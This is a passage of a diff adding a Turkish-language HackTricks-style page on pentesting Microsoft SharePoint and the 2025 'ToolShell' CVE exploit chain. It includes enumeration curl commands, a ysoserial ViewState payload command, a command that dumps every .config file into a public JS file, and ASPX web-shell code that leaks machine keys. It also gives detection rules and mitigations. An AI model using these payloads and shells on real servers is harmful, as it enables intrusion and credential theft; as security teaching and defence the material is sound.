Artık web uygulamasının kapsamlı bir envanteri alındığına göre, birçok olası zafiyeti kontrol etme zamanı. Kontrol listesini burada bulabilirsiniz:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
@ -336,9 +337,9 @@ Web zafiyetleri hakkında daha fazla bilgi için:
### Sayfaları değişiklikler için izleme
Vulnerabiliteleri ekleyebilecek değişiklikler için sayfaları izlemek üzere [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçlar kullanabilirsiniz.
Vulnerabiliteleri ekleyebilecek değişiklikler için sayfaları izlemek üzere [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçları kullanabilirsiniz.
### HackTricks Otomatik Komutlar
### HackTricks Otomatik Komutları
```
Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one.

View File

@ -0,0 +1,126 @@
# Microsoft SharePoint Pentesting & Exploitation
{{#include ../../banners/hacktricks-training.md}}
> Microsoft SharePoint (yerinde) ASP.NET/IIS üzerine inşa edilmiştir. Bu nedenle, klasik web saldırı yüzeyinin çoğu (ViewState, Web.Config, web shell'ler vb.) mevcuttur, ancak SharePoint ayrıca maruz kalan saldırı yüzeyini önemli ölçüde genişleten yüzlerce özel ASPX sayfası ve web hizmeti ile birlikte gelir. Bu sayfa, Unit42 tarafından açıklanan 2025 exploit zincirine (CVE-2025-49704/49706/53770/53771) vurgu yaparak, SharePoint ortamlarında sayım, istismar ve kalıcılık sağlamak için pratik ipuçlarını toplar.
## 1. Quick enumeration
```
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
```
## 2. 2025 exploit zinciri (diğer adıyla “ToolShell”)
### 2.1 CVE-2025-49704 ToolPane.aspx'da Kod Enjeksiyonu
`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>` sayfaya rastgele *Server-Side Include* kodunun enjekte edilmesine izin verir ve bu kod daha sonra ASP.NET tarafından derlenir. Bir saldırgan, `Process.Start()`'ı çalıştıran C# kodunu gömebilir ve kötü niyetli bir ViewState bırakabilir.
### 2.2 CVE-2025-49706 Yanlış Kimlik Doğrulama Atlatma
Aynı sayfa, site bağlamını belirlemek için **X-Forms_BaseUrl** başlığına güvenmektedir. Bunu `/_layouts/15/`'e yönlendirerek, kök sitede uygulanan MFA/SSO **kimlik doğrulaması olmadan** atlatılabilir.
### 2.3 CVE-2025-53770 Kimlik Doğrulaması Olmayan ViewState Deserialization → RCE
Saldırgan `ToolPane.aspx`'da bir gadget'ı kontrol ettiğinde, .NET deserialization'ı tetikleyen **imzasız** (veya yalnızca MAC) `__VIEWSTATE` değerini gönderebilir ve bu da kod yürütmeye yol açar.
Eğer imzalama etkinse, herhangi bir `web.config`'ten **ValidationKey/DecryptionKey**'i çalın (bkz. 2.4) ve yükü *ysoserial.net* veya *ysodom* ile sahteleyin:
```
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
```
ASP.NET ViewState'i kötüye kullanma hakkında derinlemesine bir açıklama için okuyun:
{{#ref}}
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
{{#endref}}
### 2.4 CVE-2025-53771 Yol Traversali / web.config Açığa Çıkarma
`ToolPane.aspx`'ye hazırlanmış bir `Source` parametresi göndermek (örneğin `../../../../web.config`), hedef dosyayı döndürerek aşağıdakilerin açığa çıkmasına izin verir:
* `<machineKey validationKey="…" decryptionKey="…">` ➜ ViewState / ASPXAUTH çerezlerini sahte oluşturma
* bağlantı dizeleri ve gizli anahtarlar.
## 3. Gerçek hayatta gözlemlenen sonrası istismar tarifleri
### 3.1 Her *.config* dosyasını dışarı aktar (varyasyon-1)
```
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
```
Sonuç olarak elde edilen `debug_dev.js` anonim olarak indirilebilir ve **tüm** hassas yapılandırmaları içerir.
### 3.2 Base64 kodlu ASPX web shell'i dağıtın (varyasyon-2)
```
powershell.exe -EncodedCommand <base64>
```
Kodlanmış yük örneği (kısaltılmış):
```csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
```
Yazıldığı yer:
```
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
```
Shell, çiftlik genelinde ViewState ve ASPXAUTH çerezlerini sahte olarak oluşturmayı sağlayan **makine anahtarlarını okuma / döndürme** uç noktalarınıığa çıkarır.
### 3.3 Obfuscate edilmiş varyant (varyasyon-3)
Aynı shell ama:
* `...\15\TEMPLATE\LAYOUTS\` altına bırakıldı
* değişken adları tek harfe indirildi
* sandbox kaçışı ve zaman tabanlı AV atlatma için `Thread.Sleep(<ms>)` eklendi.
## 4. Tespit fikirleri
| Telemetri | Neden şüpheli |
|-----------|----------------|
| `w3wp.exe → cmd.exe` | İşçi süreci nadiren shell açmalıdır |
| `cmd.exe → powershell.exe -EncodedCommand` | Klasik lolbin deseni |
| `debug_dev.js` veya `spinstall0.aspx` oluşturan dosya olayları | ToolShell'den doğrudan IOC'ler |
| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/Modül günlükleri) | Kamuya açık PoC'ler bu sayfayı çağırır |
Örnek XDR / Sysmon kuralı (pseudo-XQL):
```
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
```
## 5. Güçlendirme & Azaltma
1. **Yamanla** Temmuz 2025 güvenlik güncellemeleri *tüm* dört CVE'yi düzeltir.
2. Kompromize sonrası her `<machineKey>` ve `ViewState` gizli anahtarını **değiştirin**.
3. `WSS_WPG` & `WSS_ADMIN_WPG` gruplarından *LAYOUTS* yazma iznini kaldırın.
4. Proxy/WAF seviyesinde `/_layouts/15/ToolPane.aspx` dış erişimini engelleyin.
5. **ViewStateUserKey**, **MAC etkin**, ve özel *EventValidation*'ı etkinleştirin.
## İlgili hileler
* IIS sonrası istismar & web.config kötüye kullanımı:
{{#ref}}
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
{{#endref}}
## Referanslar
- [Unit42 Microsoft SharePoint Açıklarının Aktif İstismarı](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
- [GitHub PoC ToolShell istismar zinciri](https://github.com/real-or-not/ToolShell)
- [Microsoft Güvenlik Danışmanlığı CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
- [Microsoft Güvenlik Danışmanlığı CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
{{#include ../../banners/hacktricks-training.md}}